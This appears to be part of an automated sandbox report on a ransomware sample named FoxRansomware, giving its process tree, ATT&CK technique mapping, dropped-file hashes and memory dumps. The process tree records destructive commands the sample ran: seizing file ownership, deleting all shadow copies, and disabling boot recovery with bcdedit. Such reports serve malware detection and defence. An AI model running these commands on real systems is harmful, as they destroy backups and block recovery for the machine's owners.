    takeown /F "C:\ProgramData\Microsoft\Diagnosis\DownloadedScenarios\WINDOWS.PERFTRACKESCALATIONS.xml"
    3⤵
    PID:5628
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "WINDOWS.PERFTRACKESCALATIONS.xml" -nobanner
    3⤵
    PID:6624
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "WINDOWS.PERFTRACKESCALATIONS.xml" -nobanner
      4⤵
      PID:5776
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:5756
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\EaseOfAccessSettings2013.xml""
  2⤵
  PID:5496
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\EaseOfAccessSettings2013.xml" /E /G Admin:F /C
    3⤵
    PID:6388
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\EaseOfAccessSettings2013.xml"
    3⤵
    PID:7332
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "EaseOfAccessSettings2013.xml" -nobanner
    3⤵
    PID:7344
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "EaseOfAccessSettings2013.xml" -nobanner
      4⤵
      PID:7176
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:6904
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013BackupWin64.xml""
  2⤵
  PID:5048
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013BackupWin64.xml" /E /G Admin:F /C
    3⤵
    PID:6684
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013BackupWin64.xml"
    3⤵
    PID:6252
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "MicrosoftOffice2013BackupWin64.xml" -nobanner
    3⤵
    PID:6524
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "MicrosoftOffice2013BackupWin64.xml" -nobanner
      4⤵
      PID:3712
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:4580
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2013CAWin64.xml""
  2⤵
  PID:1040
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2013CAWin64.xml" /E /G Admin:F /C
    3⤵
    PID:6664
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2013CAWin64.xml"
    3⤵
    PID:6528
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "MicrosoftOutlook2013CAWin64.xml" -nobanner
    3⤵
    PID:5716
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "MicrosoftOutlook2013CAWin64.xml" -nobanner
      4⤵
      PID:6504
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:6292
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\UEV\Scripts\RegisterInboxTemplates.ps1""
  2⤵
  PID:5448
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\Scripts\RegisterInboxTemplates.ps1" /E /G Admin:F /C
    3⤵
    PID:6596
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\Scripts\RegisterInboxTemplates.ps1"
    3⤵
    PID:6392
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "RegisterInboxTemplates.ps1" -nobanner
    3⤵
    PID:5296
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "RegisterInboxTemplates.ps1" -nobanner
      4⤵
      PID:6588
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:7328
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png""
  2⤵
  PID:6472
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png" /E /G Admin:F /C
    3⤵
    PID:7124
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png"
    3⤵
    PID:7036
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "device.png" -nobanner
    3⤵
    PID:6396
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "device.png" -nobanner
      4⤵
      PID:4036
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:6468
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\it-IT\resource.xml""
  2⤵
  PID:6412
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\it-IT\resource.xml" /E /G Admin:F /C
    3⤵
    PID:6604
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\it-IT\resource.xml"
    3⤵
    PID:2368
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "resource.xml" -nobanner
    3⤵
    PID:8
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "resource.xml" -nobanner
      4⤵
      PID:7648
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:6764
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png""
  2⤵
  PID:7356
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png" /E /G Admin:F /C
    3⤵
    PID:2116
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png"
    3⤵
    PID:1032
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "overlay.png" -nobanner
    3⤵
    PID:8188
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "overlay.png" -nobanner
      4⤵
      PID:4732
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:7060
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\ja-JP\resource.xml""
  2⤵
  PID:7104
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\ja-JP\resource.xml" /E /G Admin:F /C
    3⤵
    PID:8180
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\ja-JP\resource.xml"
    3⤵
    PID:264
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "resource.xml" -nobanner
    3⤵
    PID:292
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "resource.xml" -nobanner
      4⤵
      PID:6000
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:5836
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png""
  2⤵
  PID:7100
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png" /E /G Admin:F /C
    3⤵
    PID:280
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png"
    3⤵
    PID:288
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "background.png" -nobanner
    3⤵
    PID:8112
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "background.png" -nobanner
      4⤵
      PID:5708
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:5268
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\tasks.xml""
  2⤵
  PID:7892
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\tasks.xml" /E /G Admin:F /C
    3⤵
    PID:8132
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\tasks.xml"
    3⤵
    PID:6848
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "tasks.xml" -nobanner
    3⤵
    PID:7984
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "tasks.xml" -nobanner
      4⤵
      PID:6792
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:7980
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\All Users\Microsoft\Diagnosis\DownloadedScenarios\WINDOWS.DIAGNOSTICS.xml""
  2⤵
  PID:6836
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\Diagnosis\DownloadedScenarios\WINDOWS.DIAGNOSTICS.xml" /E /G Admin:F /C
    3⤵
    PID:7800
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\Diagnosis\DownloadedScenarios\WINDOWS.DIAGNOSTICS.xml"
    3⤵
    PID:7824
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "WINDOWS.DIAGNOSTICS.xml" -nobanner
    3⤵
    PID:7972
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "WINDOWS.DIAGNOSTICS.xml" -nobanner
      4⤵
      PID:7836

C:\Windows\SYSTEM32\cmd.exe
C:\Windows\SYSTEM32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\orfDMwV6.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1436
- C:\Windows\system32\vssadmin.exe
  vssadmin Delete Shadows /All /Quiet
  2⤵
  - Interacts with shadow copies
  PID:6856
- C:\Windows\System32\Wbem\WMIC.exe
  wmic SHADOWCOPY DELETE
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5296
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:5392
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3932
- C:\Windows\system32\schtasks.exe
  SCHTASKS /Delete /TN DSHCA /F
  2⤵
  PID:3172

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:6824

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Direct Volume Access

T1006

File and Directory Permissions Modification

T1222

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Windows Credential Manager

T1555.004

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files (x86)\Mozilla Maintenance Service\logs\#FOX_README#.rtf

Filesize
8KB

MD5
ba7297fbc6383c9879b5b5ed44a94872

SHA1
b53bb6214b743b418a159cd303f8fa69a671b519

SHA256
62f396f6d188cfe0f108c4a5e17cfae11acd6fcfcb96b624ba9d976b9160aaef

SHA512
7c538dd47b111e0ec5494f5a729a1e6815921afd728270b76ec083f776c249384f118b449ebe21e461f6828eba722a8ce2f8825e21251c2cfd4f58dd87ca0ae1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
d85ac19d052f258252ff013fda5a7626

SHA1
e1e82b6d7f78f3cf1e9521d572d7328b8521865d

SHA256
ecfa5e514ab6b0f022a144c5070384c353dfad891da1226ccc69ae9fbca3c4e4

SHA512
1f6dc085e1381a33bd2862dd948eff84e2e6925e3256a656b3dadd007d8e423ddafec17be12ade230d007b6289988b60f1da05cc114ff7935fe4def1f4bd0e5e

Download Submit
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\8Kgy5in1.txt

Filesize
15B

MD5
494436e38cfbff698c30e72dd63813e1

SHA1
1ed10def48a1622c8a75e9e197d6c600d617cf98

SHA256
705d6eb22b78adf67cc9ac523602bbe8c5cdd363c6d187a374a9387a1b98d355

SHA512
9309bb0a409cb106f998aac62d084dee577252ec8ceeeff928a0a2b262c444824085d7ae64fd96dcdb180401d02c3e527de43cd7c80969ea8d84518a21b27c05

Download Submit
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat

Filesize
226B

MD5
1e2b82cc748f9641b83605a4609a6ad3

SHA1
11bc7d628a49f941b04b84be8369d16b5b89c680

SHA256
bd36c34c55404292fd4b58537e0809a993b3ae9eb3c23056708f504a8ed410ef

SHA512
eefc475ff94fff65680ea8e275ebd10481c8564467f926bc926624dc1ab55a191e63b2d175c7d5e6bb19799575c6c008aee2784871bb5755c28f8c6190e962ed

Download Submit
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWgRL7da.exe

Filesize
1.2MB

MD5
268360527625d09e747d9f7ab1f84da5

SHA1
09772eb89c9743d3a6d7b2709c76e9740aa4c4b1

SHA256
42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620

SHA512
07fba0c06040fe4ef5f812a52d639bdea6cbe5bf7ff4560403ad12955e6b1ff2b4615361ac4533696a6c5e12d36fb2d2e0df3da2927f6b45f154f0a4e83315e1

Download Submit
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\bad_3509D71BE051C0B6.txt

Filesize
5KB

MD5
e5d22b7fe4b56ba34acc656f221ddbce

SHA1
5820fcb99855770f4ee136b6ed8fbef511ab67f7

SHA256
bfecfe4c05e8d5bd11d32985890355d6ed720f99df6cf0ae007c20611aa1372c

SHA512
46ee9ee1f10a280b16166ee1a8b167646559958e36bd4da64a888e66e3d369f00e9edd84af4667d519dd184ae9535b2bd3e2fcdda3326d43ee9f3eca74a2a806

Download Submit
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\elog_3509D71BE051C0B6.txt

Filesize
38KB

MD5
b6baa52c3ce769bce261adb0fdeb3569

SHA1
026f35dd33ad321290451041df17cec77f5595a5

SHA256
e8a1a7a61fa7f959d02171ad4c954d791d3c4c15e6499deb89fca230f99dd689

SHA512
55110b8e3fe4421e7da840483b37cafb973721121459af95d2340fdd4079b1bf150316231b448ebb673f66f42bcebfb1e7cae9b68b6a059356cbc7e275a808ea

Download Submit
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe

Filesize
181KB

MD5
2f5b509929165fc13ceab9393c3b911d

SHA1
b016316132a6a277c5d8a4d7f3d6e2c769984052

SHA256
0cfdbfb9c4a2a80794462f06cf0da43c5977aa61bd3bbe834002703fe44ef0b4

SHA512
c63eaac9f46f90a991cb27f3039d9d9d3c2bb3e14d199a2c292e4e87a02c3642fdaa918a2d1447f80d6146a95018eb12bb8a6feb9c082b2b2583634330235bc8

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2fa5us3f.4mj.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Local\Temp\kyAImsgA64.exe

Filesize
221KB

MD5
3026bc2448763d5a9862d864b97288ff

SHA1
7d93a18713ece2e7b93e453739ffd7ad0c646e9e

SHA256
7adb21c00d3cc9a1ef081484b58b68f218d7c84a720e16e113943b9f4694d8ec

SHA512
d4afd534ed1818f8dc157d754b078e3d2fe4fb6a24ed62d4b30b3a93ebc671d1707cedb3c23473bf3b5aa568901a1e5183da49e41152e352ecfa41bf220ebde6

Download Submit
C:\Users\Admin\AppData\Roaming\0D0aj69R.vbs

Filesize
260B

MD5
b241f6f92079a8916fb5baee7ba4a6ef

SHA1
f65f2aa5de28ff6b3d3a622a93d8d382b818e401

SHA256
117dd71fbf4a78d65e7f7166a21eb9078866d1def0bc46c6e378f9034bd4de15

SHA512
627f9fcb55335491db7e95286d688e6ac6591eea7e15fcb594d35fb934b59c7366f05cef71538c9f15e64372f9bedd33e317edf536430b2a236056952cba493e

Download Submit
C:\Users\Admin\AppData\Roaming\orfDMwV6.bat

Filesize
265B

MD5
2a100c48a92f7b7847e129e66d851e0b

SHA1
b1a6ff35d7ab422c944abc5734376eef62a3bcfa

SHA256
010f419ec2955d497cee2b7dfc9809fcf28a1b39da7000afde16f9545803e5c9

SHA512
294652a6712a5e1ba845e531fb4d73a9f857a637ff5c1c77f6943111b4e056c155a1a6c862a77ae213d97dbccae0dc6df1110a5bde180827453f4475f1e41241

Download Submit
memory/8-33-0x0000000009270000-0x000000000928A000-memory.dmp

Filesize
104KB

Download
memory/8-10-0x00000000075F0000-0x0000000007C18000-memory.dmp

Filesize
6.2MB

Download
memory/8-32-0x0000000009CD0000-0x000000000A348000-memory.dmp

Filesize
6.5MB

Download
memory/8-17-0x0000000008550000-0x00000000085C6000-memory.dmp

Filesize
472KB

Download
memory/8-16-0x0000000008410000-0x000000000845B000-memory.dmp

Filesize
300KB

Download
memory/8-15-0x0000000008120000-0x000000000813C000-memory.dmp

Filesize
112KB

Download
memory/8-9-0x0000000004940000-0x0000000004976000-memory.dmp

Filesize
216KB

Download
memory/8-14-0x0000000007D90000-0x00000000080E0000-memory.dmp

Filesize
3.3MB

Download
memory/8-13-0x0000000007D20000-0x0000000007D86000-memory.dmp

Filesize
408KB

Download
memory/8-12-0x0000000007440000-0x00000000074A6000-memory.dmp

Filesize
408KB

Download
memory/8-11-0x0000000007320000-0x0000000007342000-memory.dmp

Filesize
136KB

Download
memory/276-5178-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/344-5150-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/376-5237-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/528-5404-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/836-5435-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/1000-3937-0x0000000000600000-0x00000000006AE000-memory.dmp

Filesize
696KB

Download
memory/1032-5173-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/1040-5294-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/1804-5242-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/2000-5419-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/2172-5168-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/2316-5239-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/2368-5324-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/2384-5430-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/2468-5129-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/2604-5250-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/2604-5252-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/3432-5258-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/3448-5262-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/3840-5442-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/3920-5335-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/3920-5337-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/4036-5326-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/4184-4422-0x0000000000400000-0x000000000053B000-memory.dmp

Filesize
1.2MB

Download
memory/4184-5227-0x0000000000400000-0x000000000053B000-memory.dmp

Filesize
1.2MB

Download
memory/4572-5244-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/4720-5288-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/4724-5271-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/4792-4423-0x0000000000400000-0x000000000053B000-memory.dmp

Filesize
1.2MB

Download
memory/4896-5399-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/4964-5276-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/5060-5406-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/5168-5392-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/5188-5331-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/5204-5368-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/5236-5394-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/5276-5428-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/5340-5440-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/5352-5232-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/5476-5387-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/5476-5388-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/5512-5229-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/5536-5220-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/5588-5296-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/5592-5127-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/5596-5421-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/5604-5248-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/5700-5273-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/5716-5139-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/5760-5265-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/5808-5410-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/5828-5400-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/5832-5300-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/5908-5412-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/5932-5385-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/6044-5182-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/6064-5175-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/6164-5278-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/6172-5433-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/6228-5133-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/6312-5255-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/6460-5309-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/6492-5142-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/6496-5311-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/6536-5305-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/6560-5153-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/6580-5147-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/6624-5282-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/6636-5135-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
